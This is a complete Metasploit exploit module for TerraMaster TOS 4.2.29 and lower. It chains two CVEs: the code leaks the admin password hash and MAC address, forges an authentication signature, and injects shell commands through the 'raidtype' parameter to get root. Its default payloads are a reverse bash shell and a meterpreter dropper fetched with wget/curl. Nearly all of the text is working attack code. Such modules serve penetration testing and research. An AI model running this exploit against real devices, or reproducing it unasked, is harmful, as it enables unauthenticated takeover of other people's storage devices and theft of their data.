TerraMaster TOS 4.2.29 Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'digest/md5'  
require 'time'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'TerraMaster TOS 4.2.29 or lower - Unauthenticated RCE chaining CVE-2022-24990 and CVE-2022-24989',  
'Description' => %q{  
This module exploits an unauthenticated remote code execution vulnerability in TerraMaster TOS 4.2.29  
and lower by chaining two existing vulnerabilities, CVE-2022-24990 "Leaking sensitive information"  
and CVE-2022-24989, "Authenticated remote code execution".  
Exploiting vulnerable endpoint `api.php?mobile/webNasIPS` leaking sensitive information such as admin password  
hash and mac address, the attacker can achieve unauthenticated access and use another vulnerable endpoint  
`api.php?mobile/createRaid` with POST parameters `raidtype` and `diskstring` to execute remote code as root  
on TerraMaster NAS devices.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor  
'Octagon Networks', # Discovery  
'0xf4n9x' # POC  
],  
'References' => [  
['CVE', '2022-24990'],  
['CVE', '2022-24989'],  
['URL', 'https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/'],  
['URL', 'https://github.com/0xf4n9x/CVE-2022-24990'],  
['URL', 'https://attackerkb.com/topics/h8YKVKx21t/cve-2022-24990']  
],  
'DisclosureDate' => '2022-03-07',  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86, ARCH_AARCH64],  
'Privileged' => true,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => ['bourne', 'wget', 'curl'],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 8181,  
'SSL' => false  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [true, 'Path to Terramaster Web console', '/'])  
])  
end  
  
def get_data  
# Initialise variable data to store the leaked data  
@data = {}  
  
# Get the data by exploiting the LFI vulnerability through vulnerable endpoint `api.php?mobile/webNasIPS`  
# CVE-2022-24990  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/webNasIPS'),  
'headers' => {  
'User-Agent' => 'TNAS'  
}  
})  
if res && res.code == 200 && res.body.include?('webNasIPS successful')  
# Parse the JSON response and get the data such as admin password hash and MAC address  
res_json = res.get_json_document  
unless res_json.blank?  
@data['password'] = res_json['data'].split('PWD:')[1].split('SAT')[0].strip  
@data['mac'] = res_json['data'].split('mac":"')[1].split('"')[0].tr(':', '').strip  
@data['key'] = @data['mac'][6..11] # last three MAC address entries  
@data['timestamp'] = Time.new.to_i.to_s  
# derive signature  
@data['signature'] = tos_encrypt_str(@data['key'], @data['timestamp'])  
end  
end  
end  
  
def tos_encrypt_str(key, str_to_encrypt)  
id = key + str_to_encrypt  
return Digest::MD5.hexdigest(id.encode('utf-8'))  
end  
  
def execute_command(cmd, _opts = {})  
# Execute RCE using vulnerable endpoint `api.php?mobile/createRaid`  
# CVE-2022-24989  
diskstring = Rex::Text.rand_text_alpha_upper(4..8)  
  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/createRaid'),  
'ctype' => 'application/x-www-form-urlencoded',  
'headers' => {  
'User-Agent' => 'TNAS',  
'Authorization' => @data['password'],  
'Signature' => @data['signature'],  
'Timestamp' => @data['timestamp']  
},  
'vars_post' => {  
'raidtype' => ';' + cmd,  
'diskstring' => diskstring.to_s  
}  
})  
end  
  
def get_terramaster_info  
# get Terramaster CPU architecture (X64 or ARM64) and TOS version  
@terramaster = {}  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'tos', 'index.php?user/login')  
})  
  
if res && res.body && res.code == 200  
# get the version information from the request response like below:  
# <link href="./static/style/bootstrap.css?ver=TOS3_A1.0_4.2.07" rel="stylesheet"/>  
return if res.body.match(/ver=.+?"/).nil?  
  
version = res.body.match(/ver=.+?"/)[0]  
# check if architecture is ARM64 or X64  
if version.match(/_A/)  
@terramaster['cpu_arch'] = 'ARM64'  
elsif version.match(/_S/) || version.match(/_Q/)  
@terramaster['cpu_arch'] = 'X64'  
else  
@terramaster['cpu_arch'] = 'UNKNOWN'  
end  
  
# strip TOS version number and remove trailing double quote.  
@terramaster['tos_version'] = version.split('.0_')[1].chop  
end  
end  
  
def check  
get_terramaster_info  
return CheckCode::Safe if @terramaster.empty?  
  
if Rex::Version.new(@terramaster['tos_version']) <= Rex::Version.new('4.2.29')  
return CheckCode::Vulnerable("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.")  
end  
  
CheckCode::Safe("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.")  
end  
  
def exploit  
get_data  
fail_with(Failure::BadConfig, 'Can not retrieve the leaked data.') if @data.empty?  
  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
# Don't check the response here since the server won't respond  
# if the payload is successfully executed.  
execute_cmdstager(linemax: 65536)  
end  
end  
end  
`